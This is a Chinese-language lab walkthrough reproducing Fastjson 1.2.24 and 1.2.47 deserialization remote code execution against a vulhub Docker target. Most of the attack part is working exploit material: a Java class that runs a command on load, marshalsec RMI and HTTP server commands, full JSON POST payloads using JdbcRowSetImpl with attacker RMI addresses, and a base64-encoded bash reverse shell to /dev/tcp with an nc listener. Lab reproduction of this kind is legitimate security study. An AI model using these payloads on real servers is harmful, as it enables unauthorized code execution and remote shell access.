Fastjson 1.2.24 反序列化漏洞复现
1.漏洞介绍
FastjsonEngine是其中的一个JSON处理引擎。Fastjson是其中的一个基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码影响版本
漏洞影响版本
Fastjson<1.2.25
漏洞利用原理:
在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就_bytecodes
,有部分函数会根据这个_bytecodes
生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。
2.漏洞环境搭建
靶机 Ubuntu虚拟机 ip: 192.168.241.129
攻击机 kail ip: 192.168.241.128
vulhub 进入/vulhub-master/fistjion/1.2.24-rce
使用命令:
docker-compose up -d
访问:ip+8090
http://192.168.241.129:8090
环境运行后,访问http://your-ip:8090
即可看到JSON格式的输出
3.漏洞复现
1.首先编译并上传命令执行代码,TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
将以上代码保存为TouchFile.java,在当前目录下执行
javac TouchFile.java
执行之后会生成一个TouchFile.class文件
2.使用Java反序列化利用工具marshalsec辅助开启RMI环境
git clone https://github.com/mbechler/marshalsec
下载之后进入目录使用cmd,用以下命令进行编译
mvn clean package -DskipTests //使用mvn命令前需要确认maven安装
借助marshalsec项目,启动一个RMI服务器,监听端口,并制定加载远程类TouchFile.class,执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.241.128:4444/#TouchFile" 9999
3.在编译好class文件所在的目录,使用python开启监听
python -m SimpleHTTPServer 4444
SimpleHTTPServer是Python 2自带的一个模块,是Python的Web服务器。在Python 3已经合并到http.server模块中。如果不指定端口号默认的是8000端口。在局域网中使用web去访问http:/IP:8000即可
python2语法:python -m SimpleHTTPServer
python3语法:python -m http.server
4.发送payload,反弹shell
向靶场服务器发送Payload,带上RMI的地址:
POST / HTTP/1.1
Host: 192.168.241.129:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.241.128:9999/TouchFile",
"autoCommit":true
}
}
5.查看反弹shell ,进入靶机查看命令是否执行成功
可以看到监听信息,看到已建立连接。
进入靶机
查看容器id
docker ps
执行以下命令查看远程命令是否被执行:
docker exec -it 9ec77798e0bf /bin/bash
可以看到执行成功,
如果想更改执行命令,将Touch.java中以下命令更改即可:
String[] commands = {"touch", "/tmp/success"};
4.fastjson 1.2.47 反序列化漏洞复现
1.正常复现
基本步骤和上面一致
poc如下:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.241.128:9999/Exploit",
"autoCommit": true
}
}
2.使用工具进行复现
下载地址:
https://github.com/zhzyker/exphub
fastjson_tool.jar
fastjson-1.2.47_rce.py
主机B开启RMI服务,加载远程恶意java类
bash -i >& /dev/tcp/192.168.241.128/6666 0>&1 //需要base64编码
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.241.128 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNjY2NiAwPiYx==}|{base64,-d}|{bash,-i}"
启动nc监听6666端口
nc -lnvp 6666
发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令
python3 fastjson-1.2.47_rce.py http://192.168.241.129:8090 rmi://192.168.241.128:9998/Object
然而并没有反弹shell